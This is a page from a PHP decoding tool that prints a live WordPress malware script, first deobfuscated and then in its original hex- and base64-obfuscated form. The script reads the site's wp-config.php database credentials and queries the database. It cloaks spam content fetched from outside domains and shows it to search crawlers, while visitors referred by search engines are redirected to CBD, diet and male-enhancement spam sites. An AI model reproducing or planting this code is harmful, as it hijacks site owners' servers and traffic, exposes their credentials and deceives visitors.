Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); goto B4v6a; XvCHB: if (!vMiqm($hpkca)) { goto aaaYP; } goto WZ..

Decoded Output download

<?php 
error_reporting(0); 
goto B4v6a; XvCHB: if (!vMiqm($hpkca)) { goto aaaYP; } goto WZlWM; CoZO_: switch ($oHtwT) { case 1: goto baPbM; DaXYP: goto JGUKr; goto YO477; baPbM: header("content-type:image/gif"); goto ukzqN; ukzqN: imagegif($OTxqd); goto DaXYP; YO477: case 2: goto Q_NI8; WMRev: goto JGUKr; goto eCpwD; Q_NI8: header("content-type:image/jpeg"); goto ntPgC; ntPgC: imagejpeg($OTxqd); goto WMRev; eCpwD: case 3: goto LIo9u; gIbDA: goto JGUKr; goto Sl6MJ; LIo9u: header("content-type:image/png"); goto jvSHq; jvSHq: imagepng($OTxqd); goto gIbDA; Sl6MJ: default: goto JGUKr; } goto qUNQP; EFltS: $bPqwo = ''; goto HfZYB; U8CRO: yukBu: goto B2rSq; XxuQ6: if (!preg_match("#^\/(\w{3,4}\-\w{7,8})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $mYDkU)) { goto rMK9x; } goto tBeSb; uQaXJ: if (!preg_match("#^\/(\w{3,4}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $mYDkU)) { goto yukBu; } goto pQxF1; sulkQ: $Hd7TI = str_replace($mYDkU[1] . "/", $mYDkU[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto PpD7Z; aAVsJ: $zU11f = $mYDkU[1]; goto FBLwS; cmlNr: $u2OMb = str_replace("http://fat.blngblngs.rocks/images202303/{$Oo03l}/", $xa0pb . "://" . $bPqwo . FR8jN() . "/images/", $u2OMb); goto p5O4K; pTRoC: if (!VmIQm($hpkca)) { goto Z3U8l; } goto eKWD1; ZRHaJ: if (!VMiqm($hpkca)) { goto PSSli; } goto jMBbG; Y1uFv: header("location: " . $JU_si); goto L9cZ6; iaUiQ: $u2OMb = str_replace("/?key=", "/", $u2OMb); goto Kq9oc; t4dGc: exit; goto NzQzg; dqb3T: $Oo03l = preg_replace("/[^a-zA-Z|0-9|-|.]/i", "-", basename($Oo03l)); goto Pn42e; YyGuY: NH762: goto OoDEP; axWgI: $u2OMb = WBab0(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9jYmQvbWFpbi5waHA/a2V5PQ") . $Hd7TI . "&host=" . $tfYNk . "&www=2"); goto i5D1L; HfZYB: $xa0pb = "https"; goto zWKQ1; WiKqT: $u2OMb = str_replace("http://" . FR8jn() . "/", $xa0pb . "://" . $bPqwo . fr8jn() . "/", $u2OMb); goto eTrtY; FBLwS: $GaycV = "http://fat.blngblngs.rocks/images202303/{$Oo03l}/{$zU11f}"; goto zkBoO; MSEN7: if (!$Qjrdr) { goto GIfz5; } goto O60wG; eF3oU: gokuZ: goto nKu_w; hL0yy: $u2OMb = str_replace("/?key=", "/", $u2OMb); goto lV_aK; FT0DO: if (!(!preg_match("/wordpress_logged_in_/i", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto bG0b5; } goto pTRoC; FvbR5: Ta9w5: goto RQqZR; yvEHd: $u2OMb = str_replace(".html", '', $u2OMb); goto DtVrZ; M50b5: if (!(!preg_match("/wordpress_logged_in_/i", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto p0LrV; } goto jkps9; ir_6J: $hpkca = strtolower($_SERVER["HTTP_REFERER"]); goto ZRxPC; lXKxA: $u2OMb = str_replace("/?key=", "/", $u2OMb); goto ILjWv; wy5ha: $u2OMb = str_replace("_unLine_", "/", $u2OMb); goto ogvS_; w2tOO: $u2OMb = str_replace("http://fat.blngblngs.rocks/images202303/{$Oo03l}/", $xa0pb . "://" . $bPqwo . fR8jN() . "/images/", $u2OMb); goto H4K_k; PPaRL: XzGjb: goto U8CRO; p5O4K: $u2OMb = str_replace(".html", '', $u2OMb); goto hL0yy; SLfWi: bloIY: goto VNPFE; Gb49e: exit; goto Qcy_v; rep8U: PSSli: goto ov7zD; tBeSb: function CVq35() { goto AanGA; N430u: return $AqXUL; goto nhczi; AUe6h: MB5ve: goto N430u; SFPau: if (!empty($AqXUL)) { goto MB5ve; } goto gnIvC; AanGA: @($Adlyi = WBAB0("http://blngblngs.rocks/sugar-host.txt")); goto Oakkk; YK4tH: $AqXUL = $Adlyi . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto g5D2t; e4HCP: if (!empty($Adlyi)) { goto YFqE1; } goto hxl7j; gnIvC: $AqXUL = "https://6.saleforyou.org/sugar-jump.php"; goto AUe6h; g5D2t: Ks727: goto e4HCP; Oakkk: if (empty($Adlyi)) { goto Ks727; } goto YK4tH; hxl7j: $AqXUL = wbaB0("http://5.g00gleweb.com/sugar-host.txt"); goto L0k_a; L0k_a: YFqE1: goto SFPau; nhczi: } goto wAttA; VXSIx: $u2OMb = str_replace("http://", "https://", $u2OMb); goto MSEN7; SnyBO: $u2OMb = str_replace(".html", '', $u2OMb); goto lXKxA; Qcy_v: GIfz5: goto FvbR5; ogvS_: $u2OMb = str_replace("http://", "https://", $u2OMb); goto S0E7c; ZRxPC: $gr3s7 = ''; goto VRn2q; nKu_w: $tfYNk = Fr8jn(); goto nxEyg; raS6I: hipSo: goto uFSP8; eKWD1: $JU_si = Whq6w(); goto fQZj5; jk9JA: $u2OMb = str_replace(".html", '', $u2OMb); goto zPxws; zWKQ1: function wBAB0($GaycV) { goto Aqw5Z; n8qM3: if (!empty($AqXUL)) { goto KlZ3v; } goto TVXvw; mPDtP: curl_close($KXOVj); goto X5EG2; eyfQc: return $AqXUL; goto JtFD7; bNaMX: $DkhXY = stream_context_create($qLOk4); goto FBWk6; FBWk6: @($AqXUL = file_get_contents($GaycV, false, $DkhXY)); goto n8qM3; TVXvw: $KXOVj = curl_init(); goto KpZPX; Aqw5Z: $qLOk4 = array("http" => array("method" => "GET", "timeout" => 5)); goto bNaMX; SIfE3: curl_setopt($KXOVj, CURLOPT_RETURNTRANSFER, 1); goto WZST1; d2nFK: curl_setopt($KXOVj, CURLOPT_URL, $GaycV); goto SIfE3; WZST1: curl_setopt($KXOVj, CURLOPT_CONNECTTIMEOUT, $muk1z); goto GWvWc; KpZPX: $muk1z = 5; goto d2nFK; GWvWc: $AqXUL = curl_exec($KXOVj); goto mPDtP; X5EG2: KlZ3v: goto eyfQc; JtFD7: } goto EXJAB; i5D1L: $u2OMb = str_replace("http://" . Fr8jn() . "/", $xa0pb . "://" . $bPqwo . fr8Jn() . "/", $u2OMb); goto cmlNr; bPjRo: $u2OMb = str_replace("http://" . FR8JN() . "/", $xa0pb . "://" . $bPqwo . fR8jn() . "/", $u2OMb); goto w2tOO; vWTk1: $Qjrdr = 1; goto rVd0w; lRDUW: $u2OMb = Wbab0(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy93ZWlnaHQvbWFpbi5waHA/a2V5PQ") . $Hd7TI . "&host=" . $tfYNk . "&www=2"); goto W7UGp; bPKgb: $Hd7TI = str_replace($mYDkU[1] . "/", $mYDkU[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto Q0I4v; O60wG: echo $u2OMb; goto Gb49e; lV_aK: $u2OMb = str_replace("_unLine_", "/", $u2OMb); goto VXSIx; uGWdV: $nvvR0 = array("#Ask\s*Jeeves#i", "#HP\s*Web\s*PrintSmart#i", "#HTTrack#i", "#IDBot#i", "#Indy\s*Library#", "#ListChecker#i", "#MSIECrawler#i", "#NetCache#i", "#Nutch#i", "#RPT-HTTPClient#i", "#rulinki\.ru#i", "#Twiceler#i", "#WebAlta#i", "#Webster\s*Pro#i", "#www\.cys\.ru#i", "#Wysigot#i", "#Yahoo!\s*Slurp#i", "#Yeti#i", "#Accoona#i", "#CazoodleBot#i", "#CFNetwork#i", "#ConveraCrawler#i", "#DISCo#i", "#Download\s*Master#i", "#FAST\s*MetaWeb\s*Crawler#i", "#Flexum\s*spider#i", "#Gigabot#i", "#HTMLParser#i", "#ia_archiver#i", "#ichiro#i", "#IRLbot#i", "#Java#i", "#km\.ru\s*bot#i", "#kmSearchBot#i", "#libwww-perl#i", "#Lupa\.ru#i", "#LWP::Simple#i", "#lwp-trivial#i", "#Missigua#i", "#MJ12bot#i", "#msnbot#i", "#msnbot-media#i", "#Offline\s*Explorer#i", "#OmniExplorer_Bot#i", "#PEAR#i", "#psbot#i", "#Python#i", "#rulinki\.ru#i", "#SMILE#i", "#Speedy#i", "#Teleport\s*Pro#i", "#TurtleScanner#i", "#User-Agent#i", "#voyager#i", "#Webalta#i", "#WebCopier#i", "#WebData#i", "#WebZIP#i", "#Wget#i", "#Yandex#i", "#Yanga#i", "#Yeti#i", "#msnbot#i", "#spider#i", "#yahoo#i", "#jeeves#i", "#google#i", "#altavista#i", "#scooter#i", "#av\s*fetch#i", "#asterias#i", "#spiderthread revision#i", "#sqworm#i", "#ask#i", "#lycos.spider#i", "#infoseek sidewinder#i", "#ultraseek#i", "#polybot#i", "#webcrawler#i", "#robozill#i", "#gulliver#i", "#architextspider#i", "#yahoo!\s*slurp#i", "#charlotte#i", "#ngb#i", "#BingBot#i"); goto Bczbv; Bczbv: if (!(!empty($_SERVER["HTTP_USER_AGENT"]) && FALSE !== strpos(preg_replace($nvvR0, "-NO-WAY-", $_SERVER["HTTP_USER_AGENT"]), "-NO-WAY-"))) { goto zya9j; } goto vWTk1; hGZmd: exit; goto rep8U; jkps9: if (!vmIqm($hpkca)) { goto NH762; } goto v_Gtp; tF4ei: $u2OMb = str_replace("http://", "https://", $u2OMb); goto ViYdp; NzQzg: Z3U8l: goto ZSSJ1; uQS60: kkoRA: goto sulkQ; ViYdp: if (!$Qjrdr) { goto bloIY; } goto ED2UO; zkBoO: $OTxqd = imagecreatefromstring(WBaB0($GaycV)); goto uslAl; gBvL_: exit; goto eXEB8; kwDmq: if (!(!preg_match("/wordpress_logged_in_/i", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto LZmQE; } goto XvCHB; uslAl: list($xlwxJ, $Uu3Vn, $oHtwT) = getimagesize($GaycV); goto CoZO_; XTdee: lB3kI: goto lSIFj; gO_qd: if (!preg_match("/images\/(.*)/i", $_SERVER["REQUEST_URI"], $mYDkU)) { goto Cvan3; } goto aAVsJ; ZSSJ1: bG0b5: goto r_1JD; W7UGp: $u2OMb = str_replace("http://" . Fr8Jn() . "/", $xa0pb . "://" . $bPqwo . fR8jN() . "/", $u2OMb); goto UnOpf; ru7O9: exit; goto SLfWi; uFSP8: L2EdG: goto SiDqe; Xm3VM: echo $u2OMb; goto gBvL_; HpE7d: $u2OMb = wBaB0(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9tYWxlL21haW4ucGhwP2tleT0") . $Hd7TI . "&host=" . $tfYNk . "&www=2"); goto WiKqT; GP57t: header("location: " . $JU_si); goto hGZmd; H4K_k: $u2OMb = str_replace(".html", '', $u2OMb); goto iaUiQ; zPxws: $u2OMb = str_replace("/?key=", "/", $u2OMb); goto g0bhO; lSIFj: function VMiQm($E2CbU) { goto dqfTT; dqfTT: $tkvgy = str_replace("x", '', "bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh|duxckdxucxkxgo"); goto hBuGW; Lw2GC: SCMTw: goto bDjae; r8AaO: xDgCV: goto nV1WN; RoovO: goto SCMTw; goto r8AaO; hBuGW: if (preg_match("/{$tkvgy}/i", $E2CbU)) { goto xDgCV; } goto Acgr8; nV1WN: return true; goto Lw2GC; Acgr8: return false; goto RoovO; bDjae: } goto ir_6J; Ms6Tl: $u2OMb = str_replace("http://fat.blngblngs.rocks/images202303/{$Oo03l}/", $xa0pb . "://" . $bPqwo . fr8Jn() . "/images/", $u2OMb); goto SnyBO; rVd0w: zya9j: goto y22W5; ov7zD: NLGej: goto HfczC; RH13y: if (!$Qjrdr) { goto Bj5of; } goto Xm3VM; Gz08m: DQ0ox: goto uQS60; eTrtY: $u2OMb = str_replace("http://fat.blngblngs.rocks/images202303/{$Oo03l}/", $xa0pb . "://" . $bPqwo . FR8jn() . "/images/", $u2OMb); goto yvEHd; V1RB_: if (!$Qjrdr) { goto hipSo; } goto quBKY; OoDEP: p0LrV: goto EHobn; B4v6a: function Fr8JN() { return "weiszlab.pitt.edu"; } goto EFltS; Hulvd: $CV1vE = NVAUx($iGExa); goto uGWdV; xU61T: function Whq6w() { goto QrQhz; gMaWF: if (empty($Adlyi)) { goto WV8bf; } goto ZsUGP; wuYXJ: if (!empty($Adlyi)) { goto jCrNF; } goto h6RQa; jAfDa: jCrNF: goto LndSS; LndSS: if (!empty($AqXUL)) { goto V_rQu; } goto h5PVG; nDDki: V_rQu: goto vAJyV; h5PVG: $AqXUL = "https://6.saleforyou.org/cbd-jump.php"; goto nDDki; h6RQa: $AqXUL = wbAB0("http://5.g00gleweb.com/cbd-host.txt"); goto jAfDa; QrQhz: @($Adlyi = wbab0("http://blngblngs.rocks/cbd-host.txt")); goto gMaWF; KBF8E: WV8bf: goto wuYXJ; vAJyV: return $AqXUL; goto JmF4i; ZsUGP: $AqXUL = $Adlyi . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto KBF8E; JmF4i: } goto FT0DO; EXJAB: function JyWYU() { goto M8C4P; xV7yk: Hrl86: goto VrU2_; z3ysg: return $ygBeb; goto FBT7c; VrU2_: $ygBeb = $_SERVER["REMOTE_ADDR"]; goto dnPYG; iuieW: Knwu1: goto XK4hQ; dnPYG: RRnFZ: goto z3ysg; XH66J: goto RRnFZ; goto hxeWu; EJTCw: goto RRnFZ; goto kk3Wx; BESnR: goto RRnFZ; goto iuieW; dKOtR: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto RPA6S; } goto n8Ga7; eraAk: goto RRnFZ; goto xV7yk; bnpA4: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto Knwu1; } goto dKOtR; OD5DS: $ygBeb = getenv("REMOTE_ADDR"); goto eraAk; V6n2r: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto qAGcO; } goto bnpA4; hxeWu: qAGcO: goto GVTWc; n8Ga7: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto Hrl86; } goto XH66J; kk3Wx: RPA6S: goto OD5DS; M8C4P: $ygBeb = ''; goto V6n2r; XK4hQ: $ygBeb = getenv("HTTP_X_FORWARDED_FOR"); goto EJTCw; GVTWc: $ygBeb = getenv("HTTP_CLIENT_IP"); goto BESnR; FBT7c: } goto v7fsT; mW8L_: $Hd7TI = str_replace("/", '', $Hd7TI); goto axWgI; qUNQP: LdU9G: goto CCEuX; jMBbG: $JU_si = oJBpz(); goto GP57t; j97cu: $JU_si = cvQ35(); goto Y1uFv; EHobn: $Hd7TI = str_replace($mYDkU[1] . "/", $mYDkU[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto o0X3L; o0X3L: $Hd7TI = str_replace("/", '', $Hd7TI); goto HpE7d; VNPFE: dHFVQ: goto XxuQ6; v_Gtp: $JU_si = fvVUy(); goto TIzzE; S0E7c: if (!$Qjrdr) { goto XzGjb; } goto zJpip; qBFc0: Cvan3: goto uQaXJ; zJpip: echo $u2OMb; goto YUnvj; ED2UO: echo $u2OMb; goto ru7O9; HfczC: $Hd7TI = str_replace($mYDkU[1] . "/", $mYDkU[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto ghFXo; DtVrZ: $u2OMb = str_replace("/?key=", "/", $u2OMb); goto wy5ha; YUnvj: exit; goto PPaRL; CCEuX: JGUKr: goto qBFc0; ILjWv: $u2OMb = str_replace("_unLine_", "/", $u2OMb); goto tF4ei; y22W5: if (!(FALSE !== strpos(gethostbyaddr($iGExa), "google"))) { goto lB3kI; } goto gEcxs; L9cZ6: exit; goto Gz08m; Vfw3y: header("location: " . $JU_si); goto cKf24; pQxF1: function fVvUY() { goto C2wvN; pWLH8: if (!empty($Adlyi)) { goto qKRrp; } goto mwSlm; lJjIN: return $AqXUL; goto HPiBN; mwSlm: $AqXUL = wbaB0("http://5.g00gleweb.com/male-host.txt"); goto JhnPs; C2wvN: @($Adlyi = wbab0("http://blngblngs.rocks/male-stone.txt")); goto eX80s; oKiZ4: if (!empty($AqXUL)) { goto TTWSn; } goto Zwgvc; eX80s: if (empty($Adlyi)) { goto ubH3S; } goto WhxWc; WhxWc: $AqXUL = $Adlyi . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto a5yGN; fFM5J: TTWSn: goto lJjIN; Zwgvc: $AqXUL = "https://6.saleforyou.org/male-stone.php"; goto fFM5J; JhnPs: qKRrp: goto oKiZ4; a5yGN: ubH3S: goto pWLH8; HPiBN: } goto M50b5; r_u6U: aaaYP: goto vQJS6; gEcxs: $Qjrdr = 1; goto XTdee; quBKY: echo $u2OMb; goto GdaDN; BozfQ: $u2OMb = str_replace("http://", "https://", $u2OMb); goto V1RB_; NaPWA: $u2OMb = wBab0(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9wcmVzc3VyZS9tYWluLnBocD9rZXk9") . $Hd7TI . "&host=" . $tfYNk . "&www=2"); goto ugUUA; Q0I4v: $Hd7TI = str_replace("/", '', $Hd7TI); goto lRDUW; Pn42e: $Oo03l = str_replace(".", "-", $Oo03l); goto gO_qd; r_1JD: $Hd7TI = str_replace($mYDkU[1] . "/", $mYDkU[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto mW8L_; TIzzE: header("location: " . $JU_si); goto BIhY2; UnOpf: $u2OMb = str_replace("http://fat.blngblngs.rocks/images202303/{$Oo03l}/", $xa0pb . "://" . $bPqwo . Fr8jn() . "/images/", $u2OMb); goto jk9JA; PpD7Z: $Hd7TI = str_replace("/", '', $Hd7TI); goto tGhca; WZlWM: $JU_si = RfVOZ(); goto Vfw3y; sUlqM: function nVAUX($DmIBp) { goto w96HW; KN5yL: return $MYNrY; goto T4PiL; a8GxQ: if (!($cxLMJ = mysqli_fetch_array($pKA7U))) { goto It1GI; } goto j6zY6; JJbXd: goto vzc1u; goto bQkAA; OIxuT: $pKA7U = mysqli_query($jLgjs, $vEJQp); goto N7Iij; aPoed: if (!file_exists($KwoWh = "D:\sites\weiszlab/wp-config.php")) { goto dy8cP; } goto d7nRS; KI7hz: return $MYNrY; goto quSDj; ut8tl: ZN9gE: goto TPKP8; ajYz9: $jLgjs = mysqli_connect($rR0SK, $W0XwB, $E1C35, $VT3YR); goto rOqa9; w96HW: $MYNrY = false; goto aPoed; foAwf: $E1C35 = $K2c2N[2][2]; goto HywUR; RJwBk: preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'"],\s+[\'"](.+)[\'"]\s*\);~m", $qTZIz, $K2c2N); goto dSi3r; omIN5: $W0XwB = $K2c2N[2][1]; goto foAwf; TPKP8: goto maNOy; goto Fbmix; bQkAA: It1GI: goto dCHFg; T4PiL: maNOy: goto KI7hz; k1zar: if (!(strpos($h1dOl, $DjoKB) !== false || strpos($QgF6_, $DjoKB) !== false)) { goto qJZ2A; } goto Y1lAa; HywUR: $rR0SK = $K2c2N[2][3]; goto D_tN0; rOqa9: $h1dOl = ''; goto Mb1TD; Y1lAa: $MYNrY = true; goto oB5Gc; oB5Gc: qJZ2A: goto ut8tl; RFyge: $VT3YR = $K2c2N[2][0]; goto omIN5; D_tN0: $sgEHk = $rfU0a[1]; goto ajYz9; lQVaj: $sbM3n = strripos($DmIBp, "."); goto hi3Vc; Mb1TD: if (isset($RMu2w)) { goto ZN9gE; } goto ILKqR; Fbmix: dy8cP: goto KN5yL; ILKqR: $vEJQp = "SELECT * FROM `{$sgEHk}usermeta` WHERE `meta_key` = 'community-events-location'"; goto OIxuT; dSi3r: preg_match("~table_prefix\s+=\s+'(.+)';~", $qTZIz, $rfU0a); goto RFyge; d7nRS: $qTZIz = file_get_contents($KwoWh); goto RJwBk; dCHFg: mysqli_close($jLgjs); goto MQzAW; j6zY6: $h1dOl .= $cxLMJ["meta_value"]; goto JJbXd; MQzAW: $QgF6_ = ''; goto lQVaj; hi3Vc: $DjoKB = substr($DmIBp, 0, $sbM3n); goto k1zar; N7Iij: vzc1u: goto a8GxQ; quSDj: } goto Hulvd; wAttA: if (!(!preg_match("/wordpress_logged_in_/i", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto kkoRA; } goto SToql; Kq9oc: $u2OMb = str_replace("_unLine_", "/", $u2OMb); goto SdTjp; BIhY2: exit; goto YyGuY; v7fsT: $iGExa = jYwYu(); goto sUlqM; twwOz: function ojBpz() { goto NE2PE; NsGd5: if (!empty($AqXUL)) { goto I93WB; } goto Eq_eY; zi4cf: return $AqXUL; goto UAg3o; wM8k0: if (empty($Adlyi)) { goto ea5bN; } goto ILjef; CEag9: I93WB: goto zi4cf; ILjef: $AqXUL = $Adlyi . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto q6Cfy; DMqMH: if (!empty($Adlyi)) { goto QTMFr; } goto zoGY6; zoGY6: $AqXUL = WBab0("http://5.g00gleweb.com/pressure-host.txt"); goto aRSvj; aRSvj: QTMFr: goto NsGd5; Eq_eY: $AqXUL = "https://6.saleforyou.org/pressure-jump.php"; goto CEag9; q6Cfy: ea5bN: goto DMqMH; NE2PE: @($Adlyi = wBAB0("http://blngblngs.rocks/pressure-host.txt")); goto wM8k0; UAg3o: } goto z5yfX; qhTId: function RfVOz() { goto HW1EZ; CYesb: if (empty($Adlyi)) { goto gdQDw; } goto oQwga; z3v71: return $AqXUL; goto VrW76; oQwga: $AqXUL = $Adlyi . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto kSK7p; ZC4Qr: $AqXUL = "https://6.saleforyou.org/weight-ss.php"; goto UqBhb; e_91k: if (!empty($AqXUL)) { goto K3OJS; } goto ZC4Qr; olbbd: $AqXUL = wBAB0("http://5.g00gleweb.com/weight-host.txt"); goto BIJMO; BIJMO: fCL0C: goto e_91k; KQqBy: if (!empty($Adlyi)) { goto fCL0C; } goto olbbd; HW1EZ: @($Adlyi = wBAB0("http://blngblngs.rocks/weight-host.txt")); goto CYesb; kSK7p: gdQDw: goto KQqBy; UqBhb: K3OJS: goto z3v71; VrW76: } goto kwDmq; vQJS6: LZmQE: goto bPKgb; vo21R: rMK9x: goto ZFFPA; RQqZR: if (!preg_match("#^\/(\w{5,6}\-\w{5,6})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $mYDkU)) { goto dHFVQ; } goto twwOz; z5yfX: if (!(!preg_match("/wordpress_logged_in_/i", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto NLGej; } goto ZRHaJ; fQZj5: header("location: " . $JU_si); goto t4dGc; GdaDN: exit; goto raS6I; SiDqe: if (!preg_match("#^\/(\w{5,6}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $mYDkU)) { goto Ta9w5; } goto xU61T; eXEB8: Bj5of: goto vo21R; SToql: if (!vmiQM($hpkca)) { goto DQ0ox; } goto j97cu; g0bhO: $u2OMb = str_replace("_unLine_", "/", $u2OMb); goto BozfQ; SdTjp: $u2OMb = str_replace("http://", "https://", $u2OMb); goto RH13y; ghFXo: $Hd7TI = str_replace("/", '', $Hd7TI); goto NaPWA; cKf24: exit; goto r_u6U; B2rSq: if (!preg_match("#^\/(\w{3,4}\-\w{5,6})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $mYDkU)) { goto L2EdG; } goto qhTId; VRn2q: foreach ($_COOKIE as $RS6GD => $G0NOn) { $gr3s7 .= $RS6GD . "=" . $G0NOn . ","; GODeU: } goto eF3oU; ugUUA: $u2OMb = str_replace("http://" . Fr8Jn() . "/", $xa0pb . "://" . $bPqwo . Fr8Jn() . "/", $u2OMb); goto Ms6Tl; nxEyg: $Oo03l = str_replace("www.", '', $tfYNk); goto dqb3T; tGhca: $u2OMb = wbAb0(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9zdWdhci9tYWluLnBocD9rZXk9") . $Hd7TI . "&host=" . $tfYNk . "&www=2"); goto bPjRo; ZFFPA: setcookie("wordpress_logged_in_02a09ee18e2", "wordpress_logged_in_02a09ee18e2", time() + 3600 * 24 * 100); ?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
goto B4v6a; XvCHB: if (!vMiqm($hpkca)) { goto aaaYP; } goto WZlWM; CoZO_: switch ($oHtwT) { case 1: goto baPbM; DaXYP: goto JGUKr; goto YO477; baPbM: header("\x63\157\156\164\145\x6e\164\x2d\164\171\160\145\x3a\x69\x6d\141\147\x65\x2f\147\151\x66"); goto ukzqN; ukzqN: imagegif($OTxqd); goto DaXYP; YO477: case 2: goto Q_NI8; WMRev: goto JGUKr; goto eCpwD; Q_NI8: header("\143\157\x6e\x74\x65\156\x74\x2d\x74\171\x70\145\x3a\151\x6d\x61\x67\x65\57\x6a\x70\145\x67"); goto ntPgC; ntPgC: imagejpeg($OTxqd); goto WMRev; eCpwD: case 3: goto LIo9u; gIbDA: goto JGUKr; goto Sl6MJ; LIo9u: header("\143\157\156\x74\x65\156\x74\55\x74\x79\x70\x65\72\x69\155\x61\x67\145\x2f\x70\156\147"); goto jvSHq; jvSHq: imagepng($OTxqd); goto gIbDA; Sl6MJ: default: goto JGUKr; } goto qUNQP; EFltS: $bPqwo = ''; goto HfZYB; U8CRO: yukBu: goto B2rSq; XxuQ6: if (!preg_match("\43\136\x5c\x2f\50\x5c\x77\x7b\x33\x2c\x34\175\x5c\55\x5c\x77\x7b\x37\54\x38\x7d\51\x5c\57\x28\50\56\52\x3f\51\x5c\55\x28\56\52\77\51\134\55\x28\x2e\52\x29\x29\43\151", $_SERVER["\x52\105\121\125\105\x53\x54\137\125\x52\x49"], $mYDkU)) { goto rMK9x; } goto tBeSb; uQaXJ: if (!preg_match("\43\x5e\134\57\x28\x5c\167\x7b\x33\x2c\64\175\134\x2d\x5c\167\173\63\54\x34\175\x29\134\x2f\50\50\x2e\x2a\77\51\134\55\50\x2e\52\x3f\51\x5c\x2d\x28\x2e\52\x29\x29\43\x69", $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\x52\111"], $mYDkU)) { goto yukBu; } goto pQxF1; sulkQ: $Hd7TI = str_replace($mYDkU[1] . "\x2f", $mYDkU[1] . "\x5f\165\x6e\x4c\x69\x6e\x65\x5f", $_SERVER["\122\x45\121\x55\x45\x53\x54\137\x55\x52\111"]); goto PpD7Z; aAVsJ: $zU11f = $mYDkU[1]; goto FBLwS; cmlNr: $u2OMb = str_replace("\150\164\164\160\72\57\57\x66\x61\x74\56\142\x6c\156\x67\x62\x6c\x6e\x67\x73\x2e\162\x6f\x63\x6b\163\x2f\x69\155\141\147\x65\163\62\60\62\x33\60\x33\x2f{$Oo03l}\x2f", $xa0pb . "\x3a\57\57" . $bPqwo . FR8jN() . "\57\x69\155\141\x67\145\x73\57", $u2OMb); goto p5O4K; pTRoC: if (!VmIQm($hpkca)) { goto Z3U8l; } goto eKWD1; ZRHaJ: if (!VMiqm($hpkca)) { goto PSSli; } goto jMBbG; Y1uFv: header("\x6c\x6f\143\141\164\151\x6f\156\x3a\40" . $JU_si); goto L9cZ6; iaUiQ: $u2OMb = str_replace("\x2f\77\x6b\x65\x79\x3d", "\x2f", $u2OMb); goto Kq9oc; t4dGc: exit; goto NzQzg; dqb3T: $Oo03l = preg_replace("\x2f\x5b\136\141\x2d\172\x41\55\x5a\x7c\x30\x2d\71\x7c\x2d\x7c\56\x5d\57\151", "\55", basename($Oo03l)); goto Pn42e; YyGuY: NH762: goto OoDEP; axWgI: $u2OMb = WBab0(base64_decode("\141\x48\122\x30\x63\x44\157\166\114\62\132\x68\144\103\x35\151\x62\x47\65\x6e\x59\x6d\x78\x75\132\x33\x4d\165\x63\x6d\71\152\141\x33\115\166\115\152\101\x79\115\171\60\167\x4d\171\71\152\131\155\x51\166\x62\127\x46\160\142\151\65\167\141\110\x41\x2f\141\62\x56\x35\x50\121") . $Hd7TI . "\46\150\x6f\163\164\75" . $tfYNk . "\46\x77\167\x77\x3d\x32"); goto i5D1L; HfZYB: $xa0pb = "\x68\x74\x74\160\x73"; goto zWKQ1; WiKqT: $u2OMb = str_replace("\x68\164\x74\x70\72\57\x2f" . FR8jn() . "\x2f", $xa0pb . "\x3a\57\57" . $bPqwo . fr8jn() . "\57", $u2OMb); goto eTrtY; FBLwS: $GaycV = "\x68\x74\164\160\x3a\x2f\x2f\x66\141\164\56\x62\x6c\156\147\x62\154\156\147\163\56\162\x6f\143\153\x73\x2f\x69\155\141\147\x65\x73\62\x30\62\x33\60\x33\x2f{$Oo03l}\x2f{$zU11f}"; goto zkBoO; MSEN7: if (!$Qjrdr) { goto GIfz5; } goto O60wG; eF3oU: gokuZ: goto nKu_w; hL0yy: $u2OMb = str_replace("\x2f\x3f\x6b\145\171\75", "\57", $u2OMb); goto lV_aK; FT0DO: if (!(!preg_match("\x2f\167\157\162\x64\x70\x72\x65\163\163\137\x6c\x6f\x67\x67\145\144\x5f\151\x6e\137\x2f\151", $gr3s7) && 